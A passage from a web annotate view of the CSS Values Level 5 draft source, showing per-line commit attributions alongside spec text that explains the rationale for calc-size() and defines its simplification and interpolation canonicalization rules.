title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2390" id="l2390"> 2390</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2051" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2391" id="l2391"> 2391</a> </td> <td class="source"> <details class=note> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2052" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2392" id="l2392"> 2392</a> </td> <td class="source"> <summary>Why not just allow intrinsic keywords in ''calc()''?</summary> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2053" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2393" id="l2393"> 2393</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2054" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2394" id="l2394"> 2394</a> </td> <td class="source"> In theory, rather than introducing ''calc-size()'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2055" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2395" id="l2395"> 2395</a> </td> <td class="source"> we could have defined ''calc(auto * .5)'' to be valid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2056" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2396" id="l2396"> 2396</a> </td> <td class="source"> allowing interpolation to work as normal. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2057" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2397" id="l2397"> 2397</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2058" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2398" id="l2398"> 2398</a> </td> <td class="source"> This has the minor issue that mixing keywords still wouldn't be allowed, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2059" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2399" id="l2399"> 2399</a> </td> <td class="source"> but it wouldn't be as obvious </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2060" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2400" id="l2400"> 2400</a> </td> <td class="source"> (that is, ''calc((min-content + max-content)/2)'' looks reasonable, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2061" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2401" id="l2401"> 2401</a> </td> <td class="source"> but would be disallowed). </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2062" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2402" id="l2402"> 2402</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2063" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2403" id="l2403"> 2403</a> </td> <td class="source"> The larger issue, tho, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2064" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2404" id="l2404"> 2404</a> </td> <td class="source"> is that this wouldn't allow us to smoothly transition percentages. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2065" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2405" id="l2405"> 2405</a> </td> <td class="source"> ''calc(50%)'' is only half the size of ''calc(100%)'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2066" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2406" id="l2406"> 2406</a> </td> <td class="source"> when percentages are [=definite=] in the context; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2067" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2407" id="l2407"> 2407</a> </td> <td class="source"> if they're not, the two values will usually be the same size </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2068" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2408" id="l2408"> 2408</a> </td> <td class="source"> (depending on the context, either ''0px'' or ''width/auto''-sized). </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2069" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2409" id="l2409"> 2409</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2070" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2410" id="l2410"> 2410</a> </td> <td class="source"> Using a new function that explicitly separates </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2071" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2411" id="l2411"> 2411</a> </td> <td class="source"> the size you're calculating with </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2072" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2412" id="l2412"> 2412</a> </td> <td class="source"> from the calculation itself </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2073" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2413" id="l2413"> 2413</a> </td> <td class="source"> lets us get smooth interpolation in <em>all</em> cases. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2074" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2414" id="l2414"> 2414</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2075" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2415" id="l2415"> 2415</a> </td> <td class="source"> An additional consideration is that there are many effects, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2076" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2416" id="l2416"> 2416</a> </td> <td class="source"> some small and some large, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2077" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2417" id="l2417"> 2417</a> </td> <td class="source"> that depend on whether an element is intrinsically sized </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2078" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2418" id="l2418"> 2418</a> </td> <td class="source"> or definite. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2079" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2419" id="l2419"> 2419</a> </td> <td class="source"> Using ''calc()'' would mean that the answer to the question </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2080" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2420" id="l2420"> 2420</a> </td> <td class="source"> "is the element intrinsically-sized" </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2081" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2421" id="l2421"> 2421</a> </td> <td class="source"> can have one answer in the middle of a transition </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2082" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2422" id="l2422"> 2422</a> </td> <td class="source"> ("yes", for ''calc(min-content * .2 + 20px * .8))''), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2083" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2423" id="l2423"> 2423</a> </td> <td class="source"> but a different answer at the end of the transition </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2084" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2424" id="l2424"> 2424</a> </td> <td class="source"> ("no", for ''calc(20px)''), </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2085" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2425" id="l2425"> 2425</a> </td> <td class="source"> causing the layout to jump at the end of an otherwise-smooth transition. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2086" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2426" id="l2426"> 2426</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2087" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2427" id="l2427"> 2427</a> </td> <td class="source"> (This is similar to the stacking-layer changes that can occur </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2088" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2428" id="l2428"> 2428</a> </td> <td class="source"> when animating from ''opacity:1'' to ''opacity: 0''; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2089" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2429" id="l2429"> 2429</a> </td> <td class="source"> any non-''1'' value forces a stacking context. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2090" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2430" id="l2430"> 2430</a> </td> <td class="source"> With 'opacity' you can get around this by animating to ''.999'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2091" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2431" id="l2431"> 2431</a> </td> <td class="source"> which is visually indistinguishable from ''1'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2092" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2432" id="l2432"> 2432</a> </td> <td class="source"> but forces a stacking context. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2093" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2433" id="l2433"> 2433</a> </td> <td class="source"> It's not as reasonable to ask people to animate to ''calc(auto * .0001)'' </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2094" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2434" id="l2434"> 2434</a> </td> <td class="source"> to ensure it retains its intrinsic-ness.) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2095" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2435" id="l2435"> 2435</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2096" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2436" id="l2436"> 2436</a> </td> <td class="source"> Again, using a new function that identifies itself </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2097" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2437" id="l2437"> 2437</a> </td> <td class="source"> as being <em>inherently</em> an intrinsic size, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2098" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2438" id="l2438"> 2438</a> </td> <td class="source"> like ''calc-size(auto, 20px)'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2099" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2439" id="l2439"> 2439</a> </td> <td class="source"> means we can maintain stable layout behaviors the entire time, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2100" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2440" id="l2440"> 2440</a> </td> <td class="source"> even when the actual size is a definite length. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2101" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2441" id="l2441"> 2441</a> </td> <td class="source"> </details> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/9b37f55ef739/css-values-5/Overview.bs#l1625" title="9b37f55ef739: [css-values-5] Define calc-size(). #626">jackalmage@30899</a> </td> <td class="lineno"> <a href="#l2442" id="l2442"> 2442</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f073dfba3e97/css-values-5/Overview.bs#l1828" title="f073dfba3e97: [css-values-5] Specify calc-size() simplification. #10220">jackalmage@31239</a> </td> <td class="lineno"> <a href="#l2443" id="l2443"> 2443</a> </td> <td class="source"><h3 id=simplifying-calc-size> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/f073dfba3e97/css-values-5/Overview.bs#l1829" title="f073dfba3e97: [css-values-5] Specify calc-size() simplification. #10220">jackalmage@31239</a> </td> <td class="lineno"> <a href="#l2444" id="l2444"> 2444</a> </td> <td class="source">Simplifying ''calc-size()''</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/f073dfba3e97/css-values-5/Overview.bs#l1830" title="f073dfba3e97: [css-values-5] Specify calc-size() simplification. #10220">jackalmage@31239</a> </td> <td class="lineno"> <a href="#l2445" id="l2445"> 2445</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2106" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2446" id="l2446"> 2446</a> </td> <td class="source"> Similar to [=math functions=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2107" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2447" id="l2447"> 2447</a> </td> <td class="source"> at both [=specified value=] and [=computed value=] times </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2108" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2448" id="l2448"> 2448</a> </td> <td class="source"> the [=calc-size calculation=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2109" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2449" id="l2449"> 2449</a> </td> <td class="source"> (and the [=calc-size basis=], if it's a <<calc-sum>>) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2110" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2450" id="l2450"> 2450</a> </td> <td class="source"> are simplified to the extent possible, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2111" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2451" id="l2451"> 2451</a> </td> <td class="source"> as defined in [[css-values-4#calc-simplification]]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2112" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2452" id="l2452"> 2452</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2113" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2453" id="l2453"> 2453</a> </td> <td class="source"> <div algorithm> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2114" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2454" id="l2454"> 2454</a> </td> <td class="source"> To <dfn export for=calc-size()>canonicalize for interpolation</dfn> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2115" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2455" id="l2455"> 2455</a> </td> <td class="source"> a ''calc-size()'' function: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2116" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2456" id="l2456"> 2456</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2117" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2457" id="l2457"> 2457</a> </td> <td class="source"> <dl class=switch> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2118" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2458" id="l2458"> 2458</a> </td> <td class="source"> : If the [=calc-size basis=] is a ''calc-size()'' function itself </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2119" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2459" id="l2459"> 2459</a> </td> <td class="source"> :: The [=calc-size basis=] of the outer function </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2120" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2460" id="l2460"> 2460</a> </td> <td class="source"> is replaced with that of the inner function, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2121" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2461" id="l2461"> 2461</a> </td> <td class="source"> and the inner function's [=calc-size calculation=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2122" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2462" id="l2462"> 2462</a> </td> <td class="source"> is [=substitute into a calc-size calculation|substituted=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2123" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2463" id="l2463"> 2463</a> </td> <td class="source"> into the outer function's [=calc-size calculation=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2124" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2464" id="l2464"> 2464</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2125" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2465" id="l2465"> 2465</a> </td> <td class="source"> : Otherwise, if the [=calc-size basis=] is a <<calc-sum>> whose </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2126" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2466" id="l2466"> 2466</a> </td> <td class="source"> [=CSSNumericValue/type=] [=CSSNumericValue/matches=] <<length>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2127" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2467" id="l2467"> 2467</a> </td> <td class="source"> (no percentage present) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2128" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2468" id="l2468"> 2468</a> </td> <td class="source"> :: Replace the basis with ''calc-size/any'', </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2129" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2469" id="l2469"> 2469</a> </td> <td class="source"> and the original basis is [=substitute into a calc-size calculation|substituted=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2130" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2470" id="l2470"> 2470</a> </td> <td class="source"> into the [=calc-size calculation=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2131" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2471" id="l2471"> 2471</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2132" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2472" id="l2472"> 2472</a> </td> <td class="source"> : Otherwise, if the [=calc-size basis=] is any other <<calc-sum>> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2133" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2473" id="l2473"> 2473</a> </td> <td class="source"> (contains a percentage) </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2134" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2474" id="l2474"> 2474</a> </td> <td class="source"> :: Replace the basis with ''100%'' </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2135" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2475" id="l2475"> 2475</a> </td> <td class="source"> and the original basis is [=de-percentify a calc-size calculation|de-percentified=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2136" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2476" id="l2476"> 2476</a> </td> <td class="source"> then [=substitute into a calc-size calculation|substituted=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2137" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2477" id="l2477"> 2477</a> </td> <td class="source"> into the [=calc-size calculation=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2138" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2478" id="l2478"> 2478</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2139" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2479" id="l2479"> 2479</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2140" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2480" id="l2480"> 2480</a> </td> <td class="source"> (The above is performed recursively, if necessary.) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/93d39aca3acc/css-values-5/Overview.bs#l2141" title="93d39aca3acc: [css-values-5][editorial] Fix indentation.">fantasai@31591</a> </td> <td class="lineno"> <a href="#l2481" id="l2481"> 2481</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a 